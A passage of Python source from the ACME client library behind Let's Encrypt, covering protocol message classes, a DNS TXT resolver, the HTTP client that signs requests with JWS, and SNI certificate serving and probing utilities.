    :ivar acme.messages.ResourceBody body: Resource body.

    """
    body = jose.Field('body')


class ResourceWithURI(Resource):
    """ACME Resource with URI.

    :ivar unicode uri: Location of the resource.

    """
    uri = jose.Field('uri')  # no ChallengeResource.uri


class ResourceBody(jose.JSONObjectWithFields):
    """ACME Resource Body."""


class Registration(ResourceBody):
    """Registration Resource Body.

    :ivar acme.jose.jwk.JWK key: Public key.
    :ivar tuple contact: Contact information following ACME spec,
        `tuple` of `unicode`.
    :ivar unicode agreement:
    :ivar unicode authorizations: URI where
        `messages.Registration.Authorizations` can be found.
    :ivar unicode certificates: URI where
        `messages.Registration.Certificates` can be found.

    """
    # on new-reg key server ignores 'key' and populates it based on
    # JWS.signature.combined.jwk
    key = jose.Field('key', omitempty=True, decoder=jose.JWK.from_json)
    contact = jose.Field('contact', omitempty=True, default=())
    agreement = jose.Field('agreement', omitempty=True)
    authorizations = jose.Field('authorizations', omitempty=True)
    certificates = jose.Field('certificates', omitempty=True)

    class Authorizations(jose.JSONObjectWithFields):
        """Authorizations granted to Account in the process of registration.

        :ivar tuple authorizations: URIs to Authorization Resources.

        """
        authorizations = jose.Field('authorizations')

    class Certificates(jose.JSONObjectWithFields):
        """Certificates granted to Account in the process of registration.

        :ivar tuple certificates: URIs to Certificate Resources.

        """
        certificates = jose.Field('certificates')

    phone_prefix = 'tel:'
    email_prefix = 'mailto:'

    @classmethod
    def from_data(cls, phone=None, email=None, **kwargs):
        """Create registration resource from contact details."""
        details = list(kwargs.pop('contact', ()))
        if phone is not None:
            details.append(cls.phone_prefix + phone)
        if email is not None:
            details.append(cls.email_prefix + email)
        kwargs['contact'] = tuple(details)
        return cls(**kwargs)

    def _filter_contact(self, prefix):
        return tuple(
            detail[len(prefix):] for detail in self.contact
            if detail.startswith(prefix))

    @property
    def phones(self):
        """All phones found in the ``contact`` field."""
        return self._filter_contact(self.phone_prefix)

    @property
    def emails(self):
        """All emails found in the ``contact`` field."""
        return self._filter_contact(self.email_prefix)


@Directory.register
class NewRegistration(Registration):
    """New registration."""
    resource_type = 'new-reg'
    resource = fields.Resource(resource_type)


class UpdateRegistration(Registration):
    """Update registration."""
    resource_type = 'reg'
    resource = fields.Resource(resource_type)


class RegistrationResource(ResourceWithURI):
    """Registration Resource.

    :ivar acme.messages.Registration body:
    :ivar unicode new_authzr_uri: URI found in the 'next' ``Link`` header
    :ivar unicode terms_of_service: URL for the CA TOS.

    """
    body = jose.Field('body', decoder=Registration.from_json)
    new_authzr_uri = jose.Field('new_authzr_uri')
    terms_of_service = jose.Field('terms_of_service', omitempty=True)


class ChallengeBody(ResourceBody):
    """Challenge Resource Body.

    .. todo::
       Confusingly, this has a similar name to `.challenges.Challenge`,
       as well as `.achallenges.AnnotatedChallenge`. Please use names
       such as ``challb`` to distinguish instances of this class from
       ``achall``.

    :ivar acme.challenges.Challenge: Wrapped challenge.
        Conveniently, all challenge fields are proxied, i.e. you can
        call ``challb.x`` to get ``challb.chall.x`` contents.
    :ivar acme.messages.Status status:
    :ivar datetime.datetime validated:
    :ivar messages.Error error:

    """
    __slots__ = ('chall',)
    uri = jose.Field('uri')
    status = jose.Field('status', decoder=Status.from_json,
                        omitempty=True, default=STATUS_PENDING)
    validated = fields.RFC3339Field('validated', omitempty=True)
    error = jose.Field('error', decoder=Error.from_json,
                       omitempty=True, default=None)

    def to_partial_json(self):
        jobj = super(ChallengeBody, self).to_partial_json()
        jobj.update(self.chall.to_partial_json())
        return jobj

    @classmethod
    def fields_from_json(cls, jobj):
        jobj_fields = super(ChallengeBody, cls).fields_from_json(jobj)
        jobj_fields['chall'] = challenges.Challenge.from_json(jobj)
        return jobj_fields

    def __getattr__(self, name):
        return getattr(self.chall, name)


class ChallengeResource(Resource):
    """Challenge Resource.

    :ivar acme.messages.ChallengeBody body:
    :ivar unicode authzr_uri: URI found in the 'up' ``Link`` header.

    """
    body = jose.Field('body', decoder=ChallengeBody.from_json)
    authzr_uri = jose.Field('authzr_uri')

    @property
    def uri(self):  # pylint: disable=missing-docstring,no-self-argument
        # bug? 'method already defined line None'
        # pylint: disable=function-redefined
        return self.body.uri  # pylint: disable=no-member


class Authorization(ResourceBody):
    """Authorization Resource Body.

    :ivar acme.messages.Identifier identifier:
    :ivar list challenges: `list` of `.ChallengeBody`
    :ivar tuple combinations: Challenge combinations (`tuple` of `tuple`
        of `int`, as opposed to `list` of `list` from the spec).
    :ivar acme.messages.Status status:
    :ivar datetime.datetime expires:

    """
    identifier = jose.Field('identifier', decoder=Identifier.from_json)
    challenges = jose.Field('challenges', omitempty=True)
    combinations = jose.Field('combinations', omitempty=True)

    status = jose.Field('status', omitempty=True, decoder=Status.from_json)
    # TODO: 'expires' is allowed for Authorization Resources in
    # general, but for Key Authorization '[t]he "expires" field MUST
    # be absent'... then acme-spec gives example with 'expires'
    # present... That's confusing!
    expires = fields.RFC3339Field('expires', omitempty=True)

    @challenges.decoder
    def challenges(value):  # pylint: disable=missing-docstring,no-self-argument
        return tuple(ChallengeBody.from_json(chall) for chall in value)

    @property
    def resolved_combinations(self):
        """Combinations with challenges instead of indices."""
        return tuple(tuple(self.challenges[idx] for idx in combo)
                     for combo in self.combinations)


@Directory.register
class NewAuthorization(Authorization):
    """New authorization."""
    resource_type = 'new-authz'
    resource = fields.Resource(resource_type)


class AuthorizationResource(ResourceWithURI):
    """Authorization Resource.

    :ivar acme.messages.Authorization body:
    :ivar unicode new_cert_uri: URI found in the 'next' ``Link`` header

    """
    body = jose.Field('body', decoder=Authorization.from_json)
    new_cert_uri = jose.Field('new_cert_uri')


@Directory.register
class CertificateRequest(jose.JSONObjectWithFields):
    """ACME new-cert request.

    :ivar acme.jose.util.ComparableX509 csr:
        `OpenSSL.crypto.X509Req` wrapped in `.ComparableX509`

    """
    resource_type = 'new-cert'
    resource = fields.Resource(resource_type)
    csr = jose.Field('csr', decoder=jose.decode_csr, encoder=jose.encode_csr)


class CertificateResource(ResourceWithURI):
    """Certificate Resource.

    :ivar acme.jose.util.ComparableX509 body:
        `OpenSSL.crypto.X509` wrapped in `.ComparableX509`
    :ivar unicode cert_chain_uri: URI found in the 'up' ``Link`` header
    :ivar tuple authzrs: `tuple` of `AuthorizationResource`.

    """
    cert_chain_uri = jose.Field('cert_chain_uri')
    authzrs = jose.Field('authzrs')


@Directory.register
class Revocation(jose.JSONObjectWithFields):
    """Revocation message.

    :ivar .ComparableX509 certificate: `OpenSSL.crypto.X509` wrapped in
        `.ComparableX509`

    """
    resource_type = 'revoke-cert'
    resource = fields.Resource(resource_type)
    certificate = jose.Field(
        'certificate', decoder=jose.decode_cert, encoder=jose.encode_cert)






"""DNS Resolver for ACME client.
Required only for local validation of 'dns-01' challenges.
"""
import logging

import dns.resolver
import dns.exception

logger = logging.getLogger(__name__)


def txt_records_for_name(name):
    """Resolve the name and return the TXT records.

    :param unicode name: Domain name being verified.

    :returns: A list of txt records, if empty the name could not be resolved
    :rtype: list of unicode

    """
    try:
        dns_response = dns.resolver.query(name, 'TXT')
    except dns.resolver.NXDOMAIN as error:
        return []
    except dns.exception.DNSException as error:
        logger.error("Error resolving %s: %s", name, str(error))
        return []

    return [txt_rec.decode("utf-8") for rdata in dns_response
            for txt_rec in rdata.strings]






"""ACME client API."""
import collections
import datetime
from email.utils import parsedate_tz
import heapq
import logging
import time

import six
from six.moves import http_client  # pylint: disable=import-error

import OpenSSL
import requests
import sys

from acme import errors
from acme import jose
from acme import jws
from acme import messages


logger = logging.getLogger(__name__)

# Prior to Python 2.7.9 the stdlib SSL module did not allow a user to configure
# many important security related options. On these platforms we use PyOpenSSL
# for SSL, which does allow these options to be configured.
# https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning
if sys.version_info < (2, 7, 9):  # pragma: no cover
    requests.packages.urllib3.contrib.pyopenssl.inject_into_urllib3()


class Client(object):  # pylint: disable=too-many-instance-attributes
    """ACME client.

    .. todo::
       Clean up raised error types hierarchy, document, and handle (wrap)
       instances of `.DeserializationError` raised in `from_json()`.

    :ivar messages.Directory directory:
    :ivar key: `.JWK` (private)
    :ivar alg: `.JWASignature`
    :ivar bool verify_ssl: Verify SSL certificates?
    :ivar .ClientNetwork net: Client network. Useful for testing. If not
        supplied, it will be initialized using `key`, `alg` and
        `verify_ssl`.

    """
    DER_CONTENT_TYPE = 'application/pkix-cert'

    def __init__(self, directory, key, alg=jose.RS256, verify_ssl=True,
                 net=None):
        """Initialize.

        :param directory: Directory Resource (`.messages.Directory`) or
            URI from which the resource will be downloaded.

        """
        self.key = key
        self.net = ClientNetwork(key, alg, verify_ssl) if net is None else net

        if isinstance(directory, six.string_types):
            self.directory = messages.Directory.from_json(
                self.net.get(directory).json())
        else:
            self.directory = directory

    @classmethod
    def _regr_from_response(cls, response, uri=None, new_authzr_uri=None,
                            terms_of_service=None):
        if 'terms-of-service' in response.links:
            terms_of_service = response.links['terms-of-service']['url']
        if 'next' in response.links:
            new_authzr_uri = response.links['next']['url']

        if new_authzr_uri is None:
            raise errors.ClientError('"next" link missing')

        return messages.RegistrationResource(
            body=messages.Registration.from_json(response.json()),
            uri=response.headers.get('Location', uri),
            new_authzr_uri=new_authzr_uri,
            terms_of_service=terms_of_service)

    def register(self, new_reg=None):
        """Register.

        :param .NewRegistration new_reg:

        :returns: Registration Resource.
        :rtype: `.RegistrationResource`

        :raises .UnexpectedUpdate:

        """
        new_reg = messages.NewRegistration() if new_reg is None else new_reg
        assert isinstance(new_reg, messages.NewRegistration)

        response = self.net.post(self.directory[new_reg], new_reg)
        # TODO: handle errors
        assert response.status_code == http_client.CREATED

        # "Instance of 'Field' has no key/contact member" bug:
        # pylint: disable=no-member
        regr = self._regr_from_response(response)
        if (regr.body.key != self.key.public_key() or
                regr.body.contact != new_reg.contact):
            raise errors.UnexpectedUpdate(regr)

        return regr

    def _send_recv_regr(self, regr, body):
        response = self.net.post(regr.uri, body)

        # TODO: Boulder returns httplib.ACCEPTED
        #assert response.status_code == httplib.OK

        # TODO: Boulder does not set Location or Link on update
        # (c.f. acme-spec #94)

        return self._regr_from_response(
            response, uri=regr.uri, new_authzr_uri=regr.new_authzr_uri,
            terms_of_service=regr.terms_of_service)

    def update_registration(self, regr, update=None):
        """Update registration.

        :param messages.RegistrationResource regr: Registration Resource.
        :param messages.Registration update: Updated body of the
            resource. If not provided, body will be taken from `regr`.

        :returns: Updated Registration Resource.
        :rtype: `.RegistrationResource`

        """
        update = regr.body if update is None else update
        updated_regr = self._send_recv_regr(
            regr, body=messages.UpdateRegistration(**dict(update)))
        if updated_regr != regr:
            raise errors.UnexpectedUpdate(regr)
        return updated_regr

    def query_registration(self, regr):
        """Query server about registration.

        :param messages.RegistrationResource: Existing Registration
            Resource.

        """
        return self._send_recv_regr(regr, messages.UpdateRegistration())

    def agree_to_tos(self, regr):
        """Agree to the terms-of-service.

        Agree to the terms-of-service in a Registration Resource.

        :param regr: Registration Resource.
        :type regr: `.RegistrationResource`

        :returns: Updated Registration Resource.
        :rtype: `.RegistrationResource`

        """
        return self.update_registration(
            regr.update(body=regr.body.update(agreement=regr.terms_of_service)))

    def _authzr_from_response(self, response, identifier,
                              uri=None, new_cert_uri=None):
        # pylint: disable=no-self-use
        if new_cert_uri is None:
            try:
                new_cert_uri = response.links['next']['url']
            except KeyError:
                raise errors.ClientError('"next" link missing')

        authzr = messages.AuthorizationResource(
            body=messages.Authorization.from_json(response.json()),
            uri=response.headers.get('Location', uri),
            new_cert_uri=new_cert_uri)
        if authzr.body.identifier != identifier:
            raise errors.UnexpectedUpdate(authzr)
        return authzr

    def request_challenges(self, identifier, new_authzr_uri=None):
        """Request challenges.

        :param .messages.Identifier identifier: Identifier to be challenged.
        :param str new_authzr_uri: ``new-authorization`` URI. If omitted,
            will default to value found in ``directory``.

        :returns: Authorization Resource.
        :rtype: `.AuthorizationResource`

        """
        new_authz = messages.NewAuthorization(identifier=identifier)
        response = self.net.post(self.directory.new_authz
                                 if new_authzr_uri is None else new_authzr_uri,
                                 new_authz)
        # TODO: handle errors
        assert response.status_code == http_client.CREATED
        return self._authzr_from_response(response, identifier)

    def request_domain_challenges(self, domain, new_authzr_uri=None):
        """Request challenges for domain names.

        This is simply a convenience function that wraps around
        `request_challenges`, but works with domain names instead of
        generic identifiers. See ``request_challenges`` for more
        documentation.

        :param str domain: Domain name to be challenged.

        :returns: Authorization Resource.
        :rtype: `.AuthorizationResource`

        """
        return self.request_challenges(messages.Identifier(
            typ=messages.IDENTIFIER_FQDN, value=domain), new_authzr_uri)

    def answer_challenge(self, challb, response):
        """Answer challenge.

        :param challb: Challenge Resource body.
        :type challb: `.ChallengeBody`

        :param response: Corresponding Challenge response
        :type response: `.challenges.ChallengeResponse`

        :returns: Challenge Resource with updated body.
        :rtype: `.ChallengeResource`

        :raises .UnexpectedUpdate:

        """
        response = self.net.post(challb.uri, response)
        try:
            authzr_uri = response.links['up']['url']
        except KeyError:
            raise errors.ClientError('"up" Link header missing')
        challr = messages.ChallengeResource(
            authzr_uri=authzr_uri,
            body=messages.ChallengeBody.from_json(response.json()))
        # TODO: check that challr.uri == response.headers['Location']?
        if challr.uri != challb.uri:
            raise errors.UnexpectedUpdate(challr.uri)
        return challr

    @classmethod
    def retry_after(cls, response, default):
        """Compute next `poll` time based on response ``Retry-After`` header.

        Handles integers and various datestring formats per
        https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.37

        :param requests.Response response: Response from `poll`.
        :param int default: Default value (in seconds), used when
            ``Retry-After`` header is not present or invalid.

        :returns: Time point when next `poll` should be performed.
        :rtype: `datetime.datetime`

        """
        retry_after = response.headers.get('Retry-After', str(default))
        try:
            seconds = int(retry_after)
        except ValueError:
            # The RFC 2822 parser handles all of RFC 2616's cases in modern
            # environments (primarily HTTP 1.1+ but also py27+)
            when = parsedate_tz(retry_after)
            if when is not None:
                try:
                    tz_secs = datetime.timedelta(when[-1] if when[-1] else 0)
                    return datetime.datetime(*when[:7]) - tz_secs
                except (ValueError, OverflowError):
                    pass
            seconds = default

        return datetime.datetime.now() + datetime.timedelta(seconds=seconds)

    def poll(self, authzr):
        """Poll Authorization Resource for status.

        :param authzr: Authorization Resource
        :type authzr: `.AuthorizationResource`

        :returns: Updated Authorization Resource and HTTP response.

        :rtype: (`.AuthorizationResource`, `requests.Response`)

        """
        response = self.net.get(authzr.uri)
        updated_authzr = self._authzr_from_response(
            response, authzr.body.identifier, authzr.uri, authzr.new_cert_uri)
        # TODO: check and raise UnexpectedUpdate
        return updated_authzr, response

    def request_issuance(self, csr, authzrs):
        """Request issuance.

        :param csr: CSR
        :type csr: `OpenSSL.crypto.X509Req` wrapped in `.ComparableX509`

        :param authzrs: `list` of `.AuthorizationResource`

        :returns: Issued certificate
        :rtype: `.messages.CertificateResource`

        """
        assert authzrs, "Authorizations list is empty"
        logger.debug("Requesting issuance...")

        # TODO: assert len(authzrs) == number of SANs
        req = messages.CertificateRequest(csr=csr)

        content_type = self.DER_CONTENT_TYPE  # TODO: add 'cert_type 'argument
        response = self.net.post(
            authzrs[0].new_cert_uri,  # TODO: acme-spec #90
            req,
            content_type=content_type,
            headers={'Accept': content_type})

        cert_chain_uri = response.links.get('up', {}).get('url')

        try:
            uri = response.headers['Location']
        except KeyError:
            raise errors.ClientError('"Location" Header missing')

        return messages.CertificateResource(
            uri=uri, authzrs=authzrs, cert_chain_uri=cert_chain_uri,
            body=jose.ComparableX509(OpenSSL.crypto.load_certificate(
                OpenSSL.crypto.FILETYPE_ASN1, response.content)))

    def poll_and_request_issuance(
            self, csr, authzrs, mintime=5, max_attempts=10):
        """Poll and request issuance.

        This function polls all provided Authorization Resource URIs
        until all challenges are valid, respecting ``Retry-After`` HTTP
        headers, and then calls `request_issuance`.

        :param .ComparableX509 csr: CSR (`OpenSSL.crypto.X509Req`
            wrapped in `.ComparableX509`)
        :param authzrs: `list` of `.AuthorizationResource`
        :param int mintime: Minimum time before next attempt, used if
            ``Retry-After`` is not present in the response.
        :param int max_attempts: Maximum number of attempts (per
            authorization) before `PollError` with non-empty ``waiting``
            is raised.

        :returns: ``(cert, updated_authzrs)`` `tuple` where ``cert`` is
            the issued certificate (`.messages.CertificateResource`),
            and ``updated_authzrs`` is a `tuple` consisting of updated
            Authorization Resources (`.AuthorizationResource`) as
            present in the responses from server, and in the same order
            as the input ``authzrs``.
        :rtype: `tuple`

        :raises PollError: in case of timeout or if some authorization
            was marked by the CA as invalid

        """
        # pylint: disable=too-many-locals
        assert max_attempts > 0
        attempts = collections.defaultdict(int)
        exhausted = set()

        # priority queue with datetime.datetime (based on Retry-After) as key,
        # and original Authorization Resource as value
        waiting = [(datetime.datetime.now(), authzr) for authzr in authzrs]
        # mapping between original Authorization Resource and the most
        # recently updated one
        updated = dict((authzr, authzr) for authzr in authzrs)

        while waiting:
            # find the smallest Retry-After, and sleep if necessary
            when, authzr = heapq.heappop(waiting)
            now = datetime.datetime.now()
            if when > now:
                seconds = (when - now).seconds
                logger.debug('Sleeping for %d seconds', seconds)
                time.sleep(seconds)

            # Note that we poll with the latest updated Authorization
            # URI, which might have a different URI than initial one
            updated_authzr, response = self.poll(updated[authzr])
            updated[authzr] = updated_authzr

            attempts[authzr] += 1
            # pylint: disable=no-member
            if updated_authzr.body.status not in (
                    messages.STATUS_VALID, messages.STATUS_INVALID):
                if attempts[authzr] < max_attempts:
                    # push back to the priority queue, with updated retry_after
                    heapq.heappush(waiting, (self.retry_after(
                        response, default=mintime), authzr))
                else:
                    exhausted.add(authzr)

        if exhausted or any(authzr.body.status == messages.STATUS_INVALID
                            for authzr in six.itervalues(updated)):
            raise errors.PollError(exhausted, updated)

        updated_authzrs = tuple(updated[authzr] for authzr in authzrs)
        return self.request_issuance(csr, updated_authzrs), updated_authzrs

    def _get_cert(self, uri):
        """Returns certificate from URI.

        :param str uri: URI of certificate

        :returns: tuple of the form
            (response, :class:`acme.jose.ComparableX509`)
        :rtype: tuple

        """
        content_type = self.DER_CONTENT_TYPE  # TODO: make it a param
        response = self.net.get(uri, headers={'Accept': content_type},
                                content_type=content_type)
        return response, jose.ComparableX509(OpenSSL.crypto.load_certificate(
            OpenSSL.crypto.FILETYPE_ASN1, response.content))

    def check_cert(self, certr):
        """Check for new cert.

        :param certr: Certificate Resource
        :type certr: `.CertificateResource`

        :returns: Updated Certificate Resource.
        :rtype: `.CertificateResource`

        """
        # TODO: acme-spec 5.1 table action should be renamed to
        # "refresh cert", and this method integrated with self.refresh
        response, cert = self._get_cert(certr.uri)
        if 'Location' not in response.headers:
            raise errors.ClientError('Location header missing')
        if response.headers['Location'] != certr.uri:
            raise errors.UnexpectedUpdate(response.text)
        return certr.update(body=cert)

    def refresh(self, certr):
        """Refresh certificate.

        :param certr: Certificate Resource
        :type certr: `.CertificateResource`

        :returns: Updated Certificate Resource.
        :rtype: `.CertificateResource`

        """
        # TODO: If a client sends a refresh request and the server is
        # not willing to refresh the certificate, the server MUST
        # respond with status code 403 (Forbidden)
        return self.check_cert(certr)

    def fetch_chain(self, certr, max_length=10):
        """Fetch chain for certificate.

        :param .CertificateResource certr: Certificate Resource
        :param int max_length: Maximum allowed length of the chain.
            Note that each element in the certificate requires new
            ``HTTP GET`` request, and the length of the chain is
            controlled by the ACME CA.

        :raises errors.Error: if recursion exceeds `max_length`

        :returns: Certificate chain for the Certificate Resource. It is
            a list ordered so that the first element is a signer of the
            certificate from Certificate Resource. Will be empty if
            ``cert_chain_uri`` is ``None``.
        :rtype: `list` of `OpenSSL.crypto.X509` wrapped in `.ComparableX509`

        """
        chain = []
        uri = certr.cert_chain_uri
        while uri is not None and len(chain) < max_length:
            response, cert = self._get_cert(uri)
            uri = response.links.get('up', {}).get('url')
            chain.append(cert)
        if uri is not None:
            raise errors.Error(
                "Recursion limit reached. Didn't get {0}".format(uri))
        return chain

    def revoke(self, cert):
        """Revoke certificate.

        :param .ComparableX509 cert: `OpenSSL.crypto.X509` wrapped in
            `.ComparableX509`

        :raises .ClientError: If revocation is unsuccessful.

        """
        response = self.net.post(self.directory[messages.Revocation],
                                 messages.Revocation(certificate=cert),
                                 content_type=None)
        if response.status_code != http_client.OK:
            raise errors.ClientError(
                'Successful revocation must return HTTP OK status')


class ClientNetwork(object):  # pylint: disable=too-many-instance-attributes
    """Client network."""
    JSON_CONTENT_TYPE = 'application/json'
    JSON_ERROR_CONTENT_TYPE = 'application/problem+json'
    REPLAY_NONCE_HEADER = 'Replay-Nonce'

    def __init__(self, key, alg=jose.RS256, verify_ssl=True,
                 user_agent='acme-python'):
        self.key = key
        self.alg = alg
        self.verify_ssl = verify_ssl
        self._nonces = set()
        self.user_agent = user_agent
        self.session = requests.Session()

    def __del__(self):
        self.session.close()

    def _wrap_in_jws(self, obj, nonce):
        """Wrap `JSONDeSerializable` object in JWS.

        .. todo:: Implement ``acmePath``.

        :param .JSONDeSerializable obj:
        :param bytes nonce:
        :rtype: `.JWS`

        """
        jobj = obj.json_dumps().encode()
        logger.debug('Serialized JSON: %s', jobj)
        return jws.JWS.sign(
            payload=jobj, key=self.key, alg=self.alg, nonce=nonce).json_dumps()

    @classmethod
    def _check_response(cls, response, content_type=None):
        """Check response content and its type.

        .. note::
           Checking is not strict: wrong server response ``Content-Type``
           HTTP header is ignored if response is an expected JSON object
           (c.f. Boulder #56).

        :param str content_type: Expected Content-Type response header.
            If JSON is expected and not present in server response, this
            function will raise an error. Otherwise, wrong Content-Type
            is ignored, but logged.

        :raises .messages.Error: If server response body
            carries HTTP Problem (draft-ietf-appsawg-http-problem-00).
        :raises .ClientError: In case of other networking errors.

        """
        logger.debug('Received response %s (headers: %s): %r',
                     response, response.headers, response.content)

        response_ct = response.headers.get('Content-Type')
        try:
            # TODO: response.json() is called twice, once here, and
            # once in _get and _post clients
            jobj = response.json()
        except ValueError:
            jobj = None

        if not response.ok:
            if jobj is not None:
                if response_ct != cls.JSON_ERROR_CONTENT_TYPE:
                    logger.debug(
                        'Ignoring wrong Content-Type (%r) for JSON Error',
                        response_ct)
                try:
                    raise messages.Error.from_json(jobj)
                except jose.DeserializationError as error:
                    # Couldn't deserialize JSON object
                    raise errors.ClientError((response, error))
            else:
                # response is not JSON object
                raise errors.ClientError(response)
        else:
            if jobj is not None and response_ct != cls.JSON_CONTENT_TYPE:
                logger.debug(
                    'Ignoring wrong Content-Type (%r) for JSON decodable '
                    'response', response_ct)

            if content_type == cls.JSON_CONTENT_TYPE and jobj is None:
                raise errors.ClientError(
                    'Unexpected response Content-Type: {0}'.format(response_ct))

        return response

    def _send_request(self, method, url, *args, **kwargs):
        """Send HTTP request.

        Makes sure that `verify_ssl` is respected. Logs request and
        response (with headers). For allowed parameters please see
        `requests.request`.

        :param str method: method for the new `requests.Request` object
        :param str url: URL for the new `requests.Request` object

        :raises requests.exceptions.RequestException: in case of any problems

        :returns: HTTP Response
        :rtype: `requests.Response`


        """
        logging.debug('Sending %s request to %s. args: %r, kwargs: %r',
                      method, url, args, kwargs)
        kwargs['verify'] = self.verify_ssl
        kwargs.setdefault('headers', {})
        kwargs['headers'].setdefault('User-Agent', self.user_agent)
        response = self.session.request(method, url, *args, **kwargs)
        logging.debug('Received %s. Headers: %s. Content: %r',
                      response, response.headers, response.content)
        return response

    def head(self, *args, **kwargs):
        """Send HEAD request without checking the response.

        Note, that `_check_response` is not called, as it is expected
        that status code other than successfully 2xx will be returned, or
        messages2.Error will be raised by the server.

        """
        return self._send_request('HEAD', *args, **kwargs)

    def get(self, url, content_type=JSON_CONTENT_TYPE, **kwargs):
        """Send GET request and check response."""
        return self._check_response(
            self._send_request('GET', url, **kwargs), content_type=content_type)

    def _add_nonce(self, response):
        if self.REPLAY_NONCE_HEADER in response.headers:
            nonce = response.headers[self.REPLAY_NONCE_HEADER]
            try:
                decoded_nonce = jws.Header._fields['nonce'].decode(nonce)
            except jose.DeserializationError as error:
                raise errors.BadNonce(nonce, error)
            logger.debug('Storing nonce: %r', decoded_nonce)
            self._nonces.add(decoded_nonce)
        else:
            raise errors.MissingNonce(response)

    def _get_nonce(self, url):
        if not self._nonces:
            logging.debug('Requesting fresh nonce')
            self._add_nonce(self.head(url))
        return self._nonces.pop()

    def post(self, url, obj, content_type=JSON_CONTENT_TYPE, **kwargs):
        """POST object wrapped in `.JWS` and check response."""
        data = self._wrap_in_jws(obj, self._get_nonce(url))
        response = self._send_request('POST', url, data=data, **kwargs)
        self._add_nonce(response)
        return self._check_response(response, content_type=content_type)






"""Crypto utilities."""
import binascii
import contextlib
import logging
import re
import socket
import sys

import OpenSSL

from acme import errors


logger = logging.getLogger(__name__)

# TLSSNI01 certificate serving and probing is not affected by SSL
# vulnerabilities: prober needs to check certificate for expected
# contents anyway. Working SNI is the only thing that's necessary for
# the challenge and thus scoping down SSL/TLS method (version) would
# cause interoperability issues: TLSv1_METHOD is only compatible with
# TLSv1_METHOD, while SSLv23_METHOD is compatible with all other
# methods, including TLSv2_METHOD (read more at
# https://www.openssl.org/docs/ssl/SSLv23_method.html). _serve_sni
# should be changed to use "set_options" to disable SSLv2 and SSLv3,
# in case it's used for things other than probing/serving!
_DEFAULT_TLSSNI01_SSL_METHOD = OpenSSL.SSL.SSLv23_METHOD


class SSLSocket(object):  # pylint: disable=too-few-public-methods
    """SSL wrapper for sockets.

    :ivar socket sock: Original wrapped socket.
    :ivar dict certs: Mapping from domain names (`bytes`) to
        `OpenSSL.crypto.X509`.
    :ivar method: See `OpenSSL.SSL.Context` for allowed values.

    """
    def __init__(self, sock, certs, method=_DEFAULT_TLSSNI01_SSL_METHOD):
        self.sock = sock
        self.certs = certs
        self.method = method

    def __getattr__(self, name):
        return getattr(self.sock, name)

    def _pick_certificate_cb(self, connection):
        """SNI certificate callback.

        This method will set a new OpenSSL context object for this
        connection when an incoming connection provides an SNI name
        (in order to serve the appropriate certificate, if any).

        :param connection: The TLS connection object on which the SNI
            extension was received.
        :type connection: :class:`OpenSSL.Connection`

        """
        server_name = connection.get_servername()
        try:
            key, cert = self.certs[server_name]
        except KeyError:
            logger.debug("Server name (%s) not recognized, dropping SSL",
                         server_name)
            return
        new_context = OpenSSL.SSL.Context(self.method)
        new_context.use_privatekey(key)
        new_context.use_certificate(cert)
        connection.set_context(new_context)

    class FakeConnection(object):
        """Fake OpenSSL.SSL.Connection."""

        # pylint: disable=too-few-public-methods,missing-docstring

        def __init__(self, connection):
            self._wrapped = connection

        def __getattr__(self, name):
            return getattr(self._wrapped, name)

        def shutdown(self, *unused_args):
            # OpenSSL.SSL.Connection.shutdown doesn't accept any args
            return self._wrapped.shutdown()

    def accept(self):  # pylint: disable=missing-docstring
        sock, addr = self.sock.accept()

        context = OpenSSL.SSL.Context(self.method)
        context.set_tlsext_servername_callback(self._pick_certificate_cb)

        ssl_sock = self.FakeConnection(OpenSSL.SSL.Connection(context, sock))
        ssl_sock.set_accept_state()

        logger.debug("Performing handshake with %s", addr)
        try:
            ssl_sock.do_handshake()
        except OpenSSL.SSL.Error as error:
            # _pick_certificate_cb might have returned without
            # creating SSL context (wrong server name)
            raise socket.error(error)

        return ssl_sock, addr


def probe_sni(name, host, port=443, timeout=300,
              method=_DEFAULT_TLSSNI01_SSL_METHOD, source_address=('0', 0)):
    """Probe SNI server for SSL certificate.

    :param bytes name: Byte string to send as the server name in the
        client hello message.
    :param bytes host: Host to connect to.
    :param int port: Port to connect to.
    :param int timeout: Timeout in seconds.
    :param method: See `OpenSSL.SSL.Context` for allowed values.
    :param tuple source_address: Enables multi-path probing (selection
        of source interface). See `socket.creation_connection` for more
        info. Available only in Python 2.7+.

    :raises acme.errors.Error: In case of any problems.

    :returns: SSL certificate presented by the server.
    :rtype: OpenSSL.crypto.X509

    """
    context = OpenSSL.SSL.Context(method)
    context.set_timeout(timeout)

    socket_kwargs = {} if sys.version_info < (2, 7) else {
        'source_address': source_address}

    try:
        # pylint: disable=star-args
        sock = socket.create_connection((host, port), **socket_kwargs)
    except socket.error as error:
        raise errors.Error(error)

    with contextlib.closing(sock) as client:
        client_ssl = OpenSSL.SSL.Connection(context, client)
        client_ssl.set_connect_state()
        client_ssl.set_tlsext_host_name(name)  # pyOpenSSL>=0.13
        try:
            client_ssl.do_handshake()
            client_ssl.shutdown()
        except OpenSSL.SSL.Error as error:
            raise errors.Error(error)
    return client_ssl.get_peer_certificate()


def _pyopenssl_cert_or_req_san(cert_or_req):
    """Get Subject Alternative Names from certificate or CSR using pyOpenSSL.

    .. todo:: Implement directly in PyOpenSSL!

    .. note:: Although this is `acme` internal API, it is used by
        `letsencrypt`.

    :param cert_or_req: Certificate or CSR.
    :type cert_or_req: `OpenSSL.crypto.X509` or `OpenSSL.crypto.X509Req`.

    :returns: A list of Subject Alternative Names.
    :rtype: `list` of `unicode`

    """
    # This function finds SANs by dumping the certificate/CSR to text and
    # searching for "X509v3 Subject Alternative Name" in the text. This method
    # is used to support PyOpenSSL version 0.13 where the
    # `_subjectAltNameString` and `get_extensions` methods are not available
    # for CSRs.

    # constants based on PyOpenSSL certificate/CSR text dump
    part_separator = ":"
    parts_separator = ", "
    prefix = "DNS" + part_separator

    if isinstance(cert_or_req, OpenSSL.crypto.X509):
        func = OpenSSL.crypto.dump_certificate
    else:
        func = OpenSSL.crypto.dump_certificate_request
    text = func(OpenSSL.crypto.FILETYPE_TEXT, cert_or_req).decode("utf-8")
    # WARNING: this function does not support multiple SANs extensions.
    # Multiple X509v3 extensions of the same type is disallowed by RFC 5280.
    match = re.search(r"X509v3 Subject Alternative Name:\s*(.*)", text)
    # WARNING: this function assumes that no SAN can include
    # parts_separator, hence the split!
    sans_parts = [] if match is None else match.group(1).split(parts_separator)

    return [part.split(part_separator)[1]
            for part in sans_parts if part.startswith(prefix)]


def gen_ss_cert(key, domains, not_before=None,
